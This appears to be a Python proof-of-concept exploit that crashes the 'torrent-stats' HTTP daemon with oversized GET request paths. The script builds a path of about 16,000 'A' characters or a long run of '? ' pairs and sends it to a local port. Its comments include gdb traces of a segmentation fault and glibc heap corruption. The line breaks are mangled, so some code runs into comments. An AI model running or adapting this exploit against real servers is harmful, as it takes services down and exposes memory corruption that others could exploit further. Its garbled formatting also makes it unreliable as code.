#!/usr/bin/pythonimport socket, urllib, sys
host='localhost'
port =8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
print 'Sending GET request'# size = sys.argv[1]# Crash at A * 16378
size =16379# DOS #1: gdb trace for buffer1#Program received signal SIGSEGV, Segmentation fault.#--------------------------------------------------------------------------[regs]#EAX: 0x00000000EBX: 0x08051258ECX: 0x00000000EDX: 0x20202020o d I t s Z a P c #ESI: 0x080537BCEDI: 0x080537B8EBP: 0xBFFFF2E8ESP: 0xBFFFF2B0EIP: 0x0804AF72#CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007B#--------------------------------------------------------------------------[code]#=> 0x804af72 <httpd_content_handler+306>: movb $0x0,(%eax)# 0x804af75 <httpd_content_handler+309>: mov0x20(%ebx),%edx# 0x804af78 <httpd_content_handler+312>: add$0x1,%eax# 0x804af7b <httpd_content_handler+315>: mov%eax,(%edx)# 0x804af7d <httpd_content_handler+317>: mov-0x1c(%ebp),%eax# 0x804af80 <httpd_content_handler+320>: movzbl 0x1(%eax),%edx# 0x804af84 <httpd_content_handler+324>: test %dl,%dl# 0x804af86 <httpd_content_handler+326>: je 0x804b12e <httpd_content_handler+750>#--------------------------------------------------------------------------------#parse_args (fd=0x9, privdata=0x8051258) at httpd.c:106#106 *tmp++ = '\0';
buffer1 ="/" + "A" * int(size)# DOS #2 : gdb trace for the buffer2# *** glibc detected *** /root/torrent-stats/torrent-stats: munmap_chunk(): invalid pointer: 0x080537b8 ***# *** glibc detected *** /root/torrent-stats/torrent-stats: malloc(): memory corruption: 0x080512c8 ***#gdb$ backtrace#00xb7fe2430 in __kernel_vsyscall ()#10xb7e9b651 in raise () from /lib/tls/i686/cmov/libc.so.6#20xb7e9ea82 in abort () from /lib/tls/i686/cmov/libc.so.6#30xb7ed249d in ?? () from /lib/tls/i686/cmov/libc.so.6#40xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6#50xb7edf395 in ?? () from /lib/tls/i686/cmov/libc.so.6#60xb7ee0f9c in malloc () from /lib/tls/i686/cmov/libc.so.6#70xb7ed2437 in ?? () from /lib/tls/i686/cmov/libc.so.6#80xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6#90xb7edd80e in ?? () from /lib/tls/i686/cmov/libc.so.6#10 0x0804ad26 in destroy_httpd_con (con=0xb7fc6ff4) at httpd.c:43#11 0x0804b0df in httpd_content_handler (fd=0x9, privdata=0x8051258) at httpd.c:193#12 0x0804a7a0 in event_loop () at event.c:303#13 0x0804d237 in main (argc=0x2, argv=0xbffff474) at torrent-stats.c:124
buffer2 ="/" + "? " * int(size) + "?"
buffer = buffer2
s.send('GET ' + buffer + ' HTTP/1.1\r\nHost: ' + host + '\r\n\r\n')
print s.recv(8192) + s.recv(8192)
